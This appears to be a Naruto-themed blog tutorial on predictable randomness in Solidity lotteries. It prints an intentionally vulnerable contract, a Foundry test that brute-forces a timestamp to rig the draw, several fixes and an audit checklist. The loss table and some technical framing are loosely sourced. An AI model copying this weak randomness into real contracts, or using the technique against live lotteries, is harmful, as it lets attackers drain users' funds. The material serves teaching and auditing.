Naruto vs The Chaos Scroll - The Ultimate Randomness Heist
Danger (Believe it… or lose 1,000 ETH.)
Orochimaru didn’t need Rasengan.
He just needed block.timestamp.
One line of code.
One predictable number.
One village - bankrupt.
Dattebayo!
TL;DR
Vulnerability: Using block.timestamp / blockhash / block.difficulty for randomness
Weapon: Miners can manipulate or predict these values
Result:
- Lottery winners chosen by attackers
- Game outcomes rigged
- Millions drained
Real losses: $10M+ across lotteries and games
Fixes:
- Chainlink VRF (best)
- Commit-Reveal (free)
- Blockhash + future block (weak but common)
🎬 Story Time - The Hidden Leaf Lottery Heist
The Hidden Leaf Village launches a lottery.
Prize: 1,000 ETH
Entry: 1 ETH
Winner chosen by:
uint256 winner = uint256( keccak256(abi.encodePacked(block.timestamp, block.difficulty, blockhash(block.number - 1), players.length)) );Naruto enters.
Sakura enters.
1000 shinobi enter.
Then Orochimaru enters.
He doesn’t fight.
He waits.
He knows the next block’s timestamp will be ~15 seconds from now.
He runs the same keccak256(block.timestamp) locally.
Finds a future timestamp where his index wins.
Mines the block at that exact second.
Calls drawWinner().
Orochimaru wins 1,000 ETH.
Naruto: “That’s not fair, dattebayo!”
Orochimaru: “Randomness? In Solidity? Believe it.”
The Vulnerable Scroll - Full Code
25 collapsed lines
// SPDX-License-License: MITpragma solidity ^0.8.30;
contract HiddenLeafLottery { address public hokage; uint256 public entryFee = 1 ether; uint256 public pool = 0; address[] public ninjas; bool public drawCompleted = false;
constructor() { hokage = msg.sender; }
modifier onlyHokage() { require(msg.sender == hokage, "Only Hokage can call"); _; }
function enter() external payable { require(msg.value == entryFee, "Incorrect entry fee"); ninjas.push(msg.sender); pool += msg.value; }
function drawWinner() external onlyHokage { require(!drawCompleted, "Draw already completed"); require(ninjas.length > 0, "No ninjas");
uint256 seed = uint256( keccak256(abi.encodePacked(block.timestamp, block.difficulty, blockhash(block.number - 1), ninjas.length)) ); uint256 winnerIndex = seed % ninjas.length; address winner = ninjas[winnerIndex];
drawCompleted = true; (bool success,) = winner.call{value: pool}(""); require(success, "Transfer failed"); pool = 0; }
function getPoolBalance() external view returns (uint256) { return pool; }}One line.
One village destroyed.
The Heist - Three Ways Orochimaru Wins
| Method | Can Miner Do It? | Difficulty | Real-World Used? |
|---|---|---|---|
block.timestamp | Yes (~15s window) | Easy | Yes (many lotteries) |
blockhash(block.number-1) | Yes (if they mine) | Medium | Yes |
Predict future blockhash | No | Hard | No (not possible) |
Most common attack: block.timestamp manipulation
Foundry Test - Watch Orochimaru Win
function testOrochimaruPredictsWinner() public { // Naruto enters at index 0 vm.prank(naruto); lottery.enter{value: 1 ether}();
// Orochimaru enters, becomes index 1 vm.prank(orochimaru); lottery.enter{value: 1 ether}();
// The ninjas array is now: [Naruto, Orochimaru] uint256 ninjaCount = 2; uint256 targetTs = block.timestamp;
// Brute-force timestamp to make Orochimaru win // Winner index must be 1 while (true) { // Simulate the exact seed the contract will use uint256 seed = uint256( keccak256( abi.encodePacked( targetTs, block.difficulty, blockhash(block.number - 1), ninjaCount ) ) );
if (seed % ninjaCount == 1) { break; // Found timestamp where Orochimaru wins }
targetTs++; }
// Manipulate the next block timestamp to chosen timestamp vm.warp(targetTs);
// Hokage executes drawWinner vm.prank(hokage); lottery.drawWinner();
// Assert Orochimaru drained pool assertEq(orochimaru.balance, 2 ether, "Orochimaru should win jackpot"); assertEq(lottery.getPoolBalance(), 0, "Pool should be empty"); }forge test -vv → Orochimaru wins every time
The Three Ninja Fixes
Fix 1: Chainlink VRF - The Rasengan of Randomness
function requestWinner() external onlyHokage { COORDINATOR.requestRandomness(...);}
function fulfillRandomness(uint256 randomness) internal override { uint256 winnerIndex = randomness % ninjas.length; // → truly random, tamper-proof}Pros: Unbreakable
Cons: Costs LINK
Fix 2: Commit-Reveal - The Shadow Clone Technique
// Phase 1: Everyone commits hash(secret + salt)// Phase 2: Everyone reveals// Final random = XOR all secretsPros: Free, secure
Cons: Two transactions, UX pain
Fix 3: Future Blockhash - The Chidori (Still Risky)
uint256 drawBlock = block.number + 10;bytes32 hash = blockhash(drawBlock);Pros: Better than timestamp
Cons: Miner who mines drawBlock can still influence
Real-World Victims
| Protocol | Year | Loss | Method |
|---|---|---|---|
| Fomo3D | 2018 | $2M+ | block.timestamp |
| Multiple lotteries | 2020–2024 | Millions | blockhash + miner attack |
| RNG games | 2023 | $500k+ | predictable seeds |
Total: Tens of millions lost to bad randomness
Auditor’s Randomness Checklist
Warning
- Using
block.timestamp,block.difficulty, orblockhash(block.number-1)alone? → Critical - No commit-reveal or VRF? → High
- Randomness used for money/token minting? → Must be VRF
- Tested miner manipulation with
vm.warpandvm.roll? → Mandatory - Draw can be called multiple times? → Add
drawCompletedflag
Quiz - Are You Hokage Material?
Exercise (Why can Orochimaru always win?)
a) He has more chakra
b) block.timestamp is predictable/manipulable
c) He uses flash loans
d) He bribes the Hokage
Answer
b) Miners control the clock
Exercise (Best production randomness in 2025?)
a) block.timestamp + msg.sender
b) Chainlink VRF
c) keccak256(tx.origin)
d) Commit-reveal
Answer
b) VRF = cryptographically proven fairness
Tip
Full repo - vulnerable + 3 fixed versions + exploit + tests:
github.com/thesandf/thesandf.xyz
Orochimaru didn’t need forbidden jutsu.
He just needed one bad randomness source.
Don’t be the Hidden Leaf Village.
Use Chainlink VRF.
Or commit-reveal.
Or at least future blockhash.
Because if you don’t…
Orochimaru will believe it - and take your ETH.
Dattebayo.